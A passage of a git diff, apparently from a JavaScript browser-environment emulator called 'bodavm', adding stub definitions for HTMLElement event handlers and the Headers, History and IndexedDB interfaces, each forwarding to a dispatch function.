bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationiteration_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkitanimationstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwebkittransitionend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onwheel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onauxclick_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ongotpointercapture_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onlostpointercapture_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerdown_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointermove_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointercancel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerover_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerout_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerenter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerleave_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onselectionchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationiteration_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onanimationstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionrun_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionstart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitionend_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "ontransitioncancel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncopy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "oncut_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpaste_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "dataset", {configurable:true, enumerable:true, get:function dataset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dataset_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "nonce", {configurable:true, enumerable:true, get:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_get", arguments)}, set:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "nonce_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "autofocus", {configurable:true, enumerable:true, get:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_get", arguments)}, set:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autofocus_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "tabIndex", {configurable:true, enumerable:true, get:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_get", arguments)}, set:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "tabIndex_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "style_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "attachInternals", {configurable:true, enumerable:true, writable:true, value:function attachInternals (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "attachInternals", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "blur", {configurable:true, enumerable:true, writable:true, value:function blur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "blur", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "click", {configurable:true, enumerable:true, writable:true, value:function click (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "click", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "focus", {configurable:true, enumerable:true, writable:true, value:function focus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "focus", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "inert", {configurable:true, enumerable:true, get:function inert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_get", arguments)}, set:function inert (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inert_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "enterKeyHint", {configurable:true, enumerable:true, get:function enterKeyHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_get", arguments)}, set:function enterKeyHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "virtualKeyboardPolicy", {configurable:true, enumerable:true, get:function virtualKeyboardPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_get", arguments)}, set:function virtualKeyboardPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onpointerrawupdate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "onbeforematch_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Headers.js b/env_xbb_lastest_jsdom/env copy/Headers.js new file mode 100644 index 00000000..28439d7d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Headers.js @@ -0,0 +1,16 @@ +// Headers对象 +bodavm.memory.globalobj['Headers'] = function Headers(){ + if (!(this instanceof Headers)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Headers': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Headers'], "Headers"); +bodavm.toolsFunc.defineProperty('Headers', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "append", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "delete", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "get", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "has", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "entries", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "forEach", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "keys", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Headers', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "values", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/History.js b/env_xbb_lastest_jsdom/env copy/History.js new file mode 100644 index 00000000..445d6a65 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/History.js @@ -0,0 +1,14 @@ +// History对象 +bodavm.memory.globalobj['History'] = function History(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['History'], "History"); +bodavm.toolsFunc.defineProperty('History', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('History', "scrollRestoration", {configurable:true, enumerable:true, get:function scrollRestoration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_get", arguments)}, set:function scrollRestoration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "scrollRestoration_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('History', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "state_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('History', "back", {configurable:true, enumerable:true, writable:true, value:function back (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "back", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('History', "forward", {configurable:true, enumerable:true, writable:true, value:function forward (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "forward", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('History', "go", {configurable:true, enumerable:true, writable:true, value:function go (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "go", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('History', "pushState", {configurable:true, enumerable:true, writable:true, value:function pushState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "pushState", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('History', "replaceState", {configurable:true, enumerable:true, writable:true, value:function replaceState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['History'].prototype, "History", "replaceState", arguments)}},'prototype'); + +bodavm.memory.globalobj[ 'history'] = {} +bodavm.memory.globalobj[ 'history'].__proto__= bodavm.memory.globalobj['History'].prototype; diff --git a/env_xbb_lastest_jsdom/env copy/IDBDatabase.js b/env_xbb_lastest_jsdom/env copy/IDBDatabase.js new file mode 100644 index 00000000..843b268a --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/IDBDatabase.js @@ -0,0 +1,16 @@ +// IDBDatabase对象 +bodavm.memory.globalobj['IDBDatabase'] = function IDBDatabase(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBDatabase'], "IDBDatabase"); +bodavm.memory.globalobj['IDBDatabase'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IDBDatabase'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IDBDatabase', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "name_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "version", {configurable:true, enumerable:true, get:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "version_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "objectStoreNames", {configurable:true, enumerable:true, get:function objectStoreNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "objectStoreNames_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onabort_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onclose_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "onversionchange", {configurable:true, enumerable:true, get:function onversionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_get", arguments)}, set:function onversionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "onversionchange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "close", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "createObjectStore", {configurable:true, enumerable:true, writable:true, value:function createObjectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "createObjectStore", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "deleteObjectStore", {configurable:true, enumerable:true, writable:true, value:function deleteObjectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "deleteObjectStore", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBDatabase', "transaction", {configurable:true, enumerable:true, writable:true, value:function transaction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBDatabase'].prototype, "IDBDatabase", "transaction", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/IDBFactory.js b/env_xbb_lastest_jsdom/env copy/IDBFactory.js new file mode 100644 index 00000000..0513c7ca --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/IDBFactory.js @@ -0,0 +1,12 @@ +// IDBFactory对象 +bodavm.memory.globalobj['IDBFactory'] = function IDBFactory(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBFactory'], "IDBFactory"); +bodavm.toolsFunc.defineProperty('IDBFactory', "cmp", {configurable:true, enumerable:true, writable:true, value:function cmp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "cmp", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBFactory', "databases", {configurable:true, enumerable:true, writable:true, value:function databases (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "databases", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBFactory', "deleteDatabase", {configurable:true, enumerable:true, writable:true, value:function deleteDatabase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "deleteDatabase", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBFactory', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBFactory'].prototype, "IDBFactory", "open", arguments)}},'prototype'); + + +// indexedDB对象 +bodavm.memory.globalobj[ 'indexedDB'] = {} +bodavm.memory.globalobj[ 'indexedDB'].__proto__=bodavm.memory.globalobj['IDBFactory'].prototype; diff --git a/env_xbb_lastest_jsdom/env copy/IDBObjectStore.js b/env_xbb_lastest_jsdom/env copy/IDBObjectStore.js new file mode 100644 index 00000000..fabf6874 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/IDBObjectStore.js @@ -0,0 +1,22 @@ +// IDBObjectStore对象 +bodavm.memory.globalobj['IDBObjectStore'] = function IDBObjectStore(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBObjectStore'], "IDBObjectStore"); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "keyPath", {configurable:true, enumerable:true, get:function keyPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "keyPath_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "indexNames", {configurable:true, enumerable:true, get:function indexNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "indexNames_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "transaction", {configurable:true, enumerable:true, get:function transaction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "transaction_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "autoIncrement", {configurable:true, enumerable:true, get:function autoIncrement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", 